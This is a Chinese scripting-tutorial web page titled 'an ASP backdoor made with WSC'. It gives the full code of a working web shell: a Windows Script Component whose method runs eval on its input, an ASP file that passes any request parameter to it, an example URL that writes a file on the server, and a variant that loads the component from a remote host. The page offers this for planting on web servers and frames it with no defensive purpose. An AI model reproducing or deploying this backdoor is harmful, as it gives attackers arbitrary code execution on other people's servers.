繁體中文当前位置: 首页 > 图文教程 > 脚本技术 > VBScript > 利用wsc制作的一个asp后门
- VBScript
- 用vbscript得到注册表中是否存在某个值
- 用vbscript实现修改屏幕保护的等待时间长度
- 用vbscript实现在消息框中显示一个超链接
- 用vbscript实现将脚本的输出复制到剪贴板
- 视频转换大师WinMPG Video Convert 6.63
- 用vbs实现取消隐藏文件夹中的所有文件
- 用vbscript实现从文本文件中删除所有重复行的代码
- 用vbscript实现在文本文件中搜索两个项
- 用vbscript实现启用 Caps Lock （大写）键
- vbscript和javascript版的15位, 18位的身份证号码的验证函数.以及根据身份证取省份,生日,性别
- 发老兵及海洋VBS解包工具代码
- 把vbscript发挥到它的极限应用之一(数组)！！！
- VBScript:Join 函数一个不太常用，却很有用的函数
- 最新恶意复制型病毒autorun.inf，stNP.VBS，NP.VBS代码简单解析和解决方法
- 用vbscript脚本实现返回 IP 配置数据的代码
- 用vbs实现配置静态 IP 地址
- 用vbs得到计算机的 IP 地址
- 用vbs实现枚举网络连接的代码
- IIS管理脚本之adsutil.vbs的使用说明
- 用VBS修改IIS Metabase的代码
VBScript 中的 利用wsc制作的一个asp后门
出处:互联网 整理: 软晨网（RuanChen.com） 发布: 2009-09-11 浏览: 56 ::
收藏到网摘: n/a
<?xml version="1.0" encoding="gb2312" standalone="yes"?>
<?component error="true" debug="true"?>
<package>
<component id="haiyangtop">
<public>
<method name="lcx"><parameter name="b"/></method>
</public>
<script language="VBScript"><![CDATA[
sub lcx(b)
eval(b)
end sub
]]>
</script>
</component>
</package>
backdoor.asp内容如下：
<%
b=request("a")
Set fs = GetObject("script:d:/web/ScriptCodingInfo.wsc#haiyangtop")
fs.lcx(b)
%>
调用方法如下：http://url/backdoor.asp?a=CreateObject("Scripting.FileSystemObject").OpenTextFile("c:\1122.txt"),8,True,0).WriteLine("123")
注意这里的a=只能是vbs的代码，不可以接受像response、rquest之类的asp的东东。
如果是2000服务器可以在backdoor.asp远程调用ScriptCodingInfo.wsc，像
Set fs = GetObject("script:http://www.xx.com/ScriptCodingInfo.wsc#haiyangtop")，2003服务器中不可以。
算一个思路，鸡肋，谁有更好的办法完善，能够直接调用cs的asp木马的c端就好了。
评论 (0) All
